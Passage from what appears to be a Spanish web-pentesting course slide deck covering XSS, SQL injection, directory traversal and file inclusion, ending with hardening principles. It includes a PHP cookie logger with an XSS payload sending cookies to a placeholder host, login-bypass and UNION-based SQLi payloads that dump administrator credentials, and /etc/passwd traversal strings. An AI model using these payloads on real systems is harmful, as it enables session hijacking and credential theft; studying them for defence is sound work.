  • 34. Ataques web Cross-Site Scripting Existen diferentes tipo que de forma general se pueden agrupar en:  XSS Reflejados: Cuando el código modificado se elimina al cargar de nuevo la pagina, debido a que se basa en parámetros de la URL (normalmente).  XSS Persistentes: Cuando el código modificado se almacena en la web. Las maneras mas comunes de descubrir este tipo de ataques son:  Viendo el código fuente de la aplicación.  Analizando las peticiones enviadas e identificando si los datos son reutilizados en las paginas de respuesta. En muchos casos las aplicaciones web realizan débiles filtrados de seguridad que pueden ser fácilmente evadidos. Para mas información: https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet https://html5sec.org/
  • 37. Ataques web XSS - Robo de cookies Haciendo uso de ataques XSS es posible realizar el robo de sesión de un usuario. Para ello primero debemos subir un fichero (cookies.php) con el siguiente código a algún servidor bajo nuestro control: <?php $handle=fopen("cookies_list.txt","a"); fputs($handle,"n".$_GET["cookie"]."n"); fclose($handle); ?> Una vez subido, forzamos al cliente a enviarnos sus cookies insertando el siguiente código Javascript en el XSS: <script> var i=new Image();i.src = "http://dominio/cookies.php?cookie="%2bdocument.cookie; </script>
  • 38. Ataques web Cross-Site Scripting Aunque únicamente hemos visto los dos tipos principales de XSS, existen otros muchos tipos como:  DOM Cross Site Scripting (DOM XSS)  Cross Site Flashing (XSF)  Cross Site Request/Reference Forgery (CSRF)  Cross Frame Scripting (XFS)  Cross Zone Scripting (XZS)  Cross Agent Scripting (XAS)  Cross Referer Scripting (XRS)  Denial of Service (XSSDoS)  Otros…
  • 39. Ataques web SQL Injection El ataque SQL Injection se basa en insertar sentencias SQL arbitrarias dentro de una consulta previamente establecida por la aplicación, con el objetivo de manipular la información obtenida de la base de datos SQL. Esta vulnerabilidad aparece en aquellos inputs que son utilizados para generar de forma dinámica las consultas SQL, donde además los parámetros de entrada no se encuentren correctamente filtrados. Este tipo de ataques permiten al atacante:  Saltar restricciones de acceso.  Elevación de privilegios.  Extracción de información de la Base de Datos.  Ejecución de comandos en contexto usuario BD dentro del servidor.  Ejecución de comandos en el servidor. Al igual que en la mayoría de ataques web, es posible realizar este tipo de ataque en cualquier parámetro que forme parte de una consulta (GET, POST, Cabeceras HTTP, Cookies, etc)
  • 41. Ataques web SQL Injection En la mayoría de casos, las consultas SQL que buscan obtener información de la base de datos tendrán una estructura similar a la siguiente: SELECT [Columnas] FROM [DB].[Tabla] WHERE [Condiciones] Durante la ejecución de ataques SQL Injection utilizaremos principalmente la clausula UNION, que nos permite unir dos sentencias. IMPORTANTE: La clausula UNION necesita que ambas consultas tengan el mismo numero de columnas. Un ejemplo de consulta: SELECT idNoticia,textoNoticia FROM noticias WHERE idNoticia=1 UNION SELECT usuario,password FROM usuarios Buscaremos negar la consulta legitima y hacer que únicamente se ejecute nuestra consulta.
  • 42. Ataques web SQL Injection Cada gestor de bases de datos tiene una serie de tablas especiales que se crean con la instalación y son completamente necesarias para el correcto funcionamiento de la aplicación. Estas tablas se intentan usar siempre que se realiza un SQL Injection ya que nos pueden proporcionar mucha información como por ejemplo…  Bases de datos  Tablas que hay en una base de datos  Columnas de cada tabla  Información sobre usuarios  …
  • 43. Ataques web SQL Injection – Bypass de un login La mayoría de aplicación web, cuando se realiza un proceso de autenticación, realmente se esta realizando una consulta SQL dinámica con los datos introducidos por el usuario. La consulta seria similar a la siguiente: SELECT usuario FROM usuarios WHERE usuario=‘admin’ AND password=‘test’; Los parámetros ‘usuario’ y ‘password’ son introducidas por el usuario. Si la consulta es vacía (no devuelve resultados) no permitirá el acceso, pero en caso contrario sí, dando igual que haya uno o mas registros. En este tipo de ataques, nuestro objetivo es modificar la consulta realizada para que la consulta siempre sea valida y nos permita acceso. Un simple ejemplo de bypass seria el siguiente: SELECT usuario FROM usuarios WHERE usuario=‘’ OR ‘1’=‘1’ AND password=‘’ OR ‘1’=‘1’ De esta forma, ambas condiciones son verdaderas y permitiría acceso como usuario administrador.
  • 44. Ataques web SQL Injection – Mediante UNION Como vimos anteriormente, mediante la clausula UNION es posible unir dos consultas donde se buscara negar la consulta legitima y que únicamente saque resultados la consulta introducida por el atacante. Vamos a trabajar con el siguiente ejemplo: http://dominio/noticias.php?id=1 El cual realizaría la siguiente consulta interna: SELECT titulo, noticia FROM noticias WHERE noticia_id=1 Lo primero que debemos hacer es verificar si es o no vulnerable intentando provocar errores en la aplicación introduciendo ‘ o caracteres extraños, o mediante las condiciones AND y OR. Un ejemplo podría ser: Petición: http://dominio/noticias.php?id=1 AND 1=0 Consulta: SELECT titulo, noticia FROM noticias WHERE noticia_id=1 AND 1=0
  • 45. Ataques web SQL Injection – Mediante UNION Una vez se ha conseguido encontrar que la aplicación es vulnerable a SQL Injection, los pasos que deberemos seguir serán los siguientes:  Detectar el numero de columnas de la consulta legitima  Recopilación de información sobre usuarios y versiones  Obtención de bases de datos  Obtención de tablas de la base de datos  Obtención de columnas de las tablas que nos interesen  Realizar las consultas personalizadas de las columnas y tablas que nos interesen Detectar el numero de columnas de la consulta legitima: Tras dejar la consulta legitima vacía debemos enumerar el numero de columnas que tiene. Una de las formas mas comunes de hacerlo es de la siguiente manera: http://dominio/noticias.php?id=1 AND 1=0 UNION SELECT 1 http://dominio/noticias.php?id=1 AND 1=0 UNION SELECT 1,2 http://dominio/noticias.php?id=1 AND 1=0 UNION SELECT 1,2,3 …
  • 46. Ataques web SQL Injection – Mediante UNION Recopilación de información sobre usuarios y versiones: Una vez obtenido el numero de columnas, debemos detectar cual de ellas permite obtener información que será mostrada en pantalla. Tras hacerlo deberemos utilizar dicha columna para obtener los siguientes datos:  Usuario que ejecuta las consultas en la aplicación: user()  Base de datos usada actualmente: database()  Versión del gestor SQL: @@version  Ruta donde se encuentra instalado el gestor SQL: @@datadir En caso de que haya varios parámetros donde sacar información podemos usarlos a la vez, por ejemplo: http://dominio/noticias.php?id=1+and+1=0+union+select+1,2,user(),database(),5 http://dominio/noticias.php?id=1+and+1=0+union+select+1,2,@@version,@@datadir,5
  • 47. Ataques web SQL Injection – Mediante UNION Obtención de bases de datos Para la obtención de información sobre las bases de datos, tablas y columnas utilizaremos (en el caso de MySQL) la tabla schemata de la base de datos information_schema. http://dominio/noticias.php?id=3 and 1=0 unión select 1, 2, schema_name, 4, 5 from information_schema.schemata En caso de que únicamente se muestre un resultado, deberemos concatenar la columna schema_name para sacar los demás valores. Esto es posible mediante la función ‘group_concat()’. http://dominio/noticias.php?id=3 and 1=0 unión select 1, 2, group_concat(schema_name), 4, 5 from information_schema.schemata
  • 48. Ataques web SQL Injection – Mediante UNION Obtención de tablas de la base de datos Siguiendo el mismo proceso, se consultara la tabla ‘tables’ de ‘information_schema’. http://dominio/noticias.php?id=3 and 1=0 union select 1, 2, table_name, 4, 5 from information_schema.tables Esto nos mostrara todas las tablas de la base de datos actual. En caso de querer obtener únicamente las tablas de una determinada base de datos podemos filtrar la consulta. Obtención de columnas de la tabla que nos interesa Siguiendo el mismo proceso, se consultara la tabla ‘columns’ de ‘information_schema’, indicando la tabla que nos interesa. http://dominio/noticias.php?id=3 and 1=0 union select 1, 2, column_name, 4, 5 from information_schema.columns where table_name=“usuarios”
  • 49. Ataques web SQL Injection – Mediante UNION Es posible que la aplicación no permita los caracteres ‘ o “, lo cual nos impide insertar una cadena de forma directa. En tal caso, podemos utilizar la función CHAR(), indicándole el valor en decimal de cada carácter. http://dominio/noticias.php?id=3 and 1=0 union select 1, 2, group_concat(column_name), 4, 5 from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110, 105, 115, 116, 114, 97, 116, 111, 114, 115) Obtención de columnas de la tabla que nos interesa Una vez conocemos la base de datos, tabla y columnas que nos interesa, únicamente hay que realizar la consulta SQL de forma común. http://dominio/noticias.php?id=3 and 1=0 union select 1, 2, user_name, user_password, 5 from administrators Para optimizar la inyección es posible utilizar comandos como ‘limit’ o la función ‘group_concat’.
  • 50. Ataques web SQL Injection Aunque únicamente hemos visto los dos tipos principales de SQL Injection, existen otros muchos tipos como:  Bypass de un login mediante SQL Injection  SQL Injection (Mediante UNION)  Serialized SQL Injection  Boolean-Base SQL Injection  Time-Base SQL Injection  Heavy-Queries SQL Injection  Stack-Queries  Ataques Avanzados mediante SQL Injection  Ejecutar comandos  Lectura de ficheros  Escritura de ficheros  De SQL Injection a RFI  Troyanizando un servidor
  • 51. Ataques web File Inclusion (Remote & Local) Las vulnerabilidades de File Inclusion nos permite cargar ficheros en o desde el servidor, apoyándose en muchos casos en la vulnerabilidad Directory Traversal. Directory Traversal Consiste en acceder a recursos del sistema que no son públicos mediante la elevación o movimiento por el árbol de directorios. Se hace uso principalmente de “../”. A continuación se muestran las principales formas de explotar la vulnerabilidad: http://www.example.com/?report=quarter1.txt http://www.example.com/?report=../../../../../etc/passwd http://www.example.com/?report=../../../../../etc/passwd%00.jpg http://www.example.com/?report=../../../../../etc/passwd%0a.jpg http://www.example.com/?imagen=/images/../../../../../../../etc/passwd
  • 52. Ataques web File Inclusion (Remote & Local) Local File Inclusion Permite incluir ficheros propios del servidor utilizando la técnica de Directory Traversal para llegar al archivo buscado. Como tal es la capacidad de incluir archivos en la respuesta del servidor. Este tipo de inclusión se suele realizar con funciones como include: <?php “include/”.include($_GET['for'].“.php”); ?> Remote File Inclusion Permite cargar ficheros externos al servidor en el propio servidor, obligándole a ejecutar código ASP, JSP, etc. Es un vector poco común ya que permitiría de forma directa ejecutar una webshell en el sistema.
  • 53. Índice 1. Introducción 2. Obtención de información 3. Mapeo y análisis 4. Pruebas en la aplicación 5. Ataques web 6. Principios para la fortificación
  • 54. Principios para la fortificación Genéricos Algunas de las opciones para fortificar aplicación web son:  Filtrar todos los parámetros de entrada del usuario  Principio del mínimo privilegio  Cifrado de datos críticos  Política de contraseñas robusta  Bastionado del sistema y aplicación  Realizar pruebas en la lógica de la aplicación  Implementar medidas de seguridad contra fuerza bruta o escaneos  Evitar publicar paneles de administración  Implementar un correcto sistema de autorización y autenticación  Implementar tokens únicos por petición  Proporcionar un token de sesión único por cada nuevo usuario  Evitar metodos HTTP inseguros  …..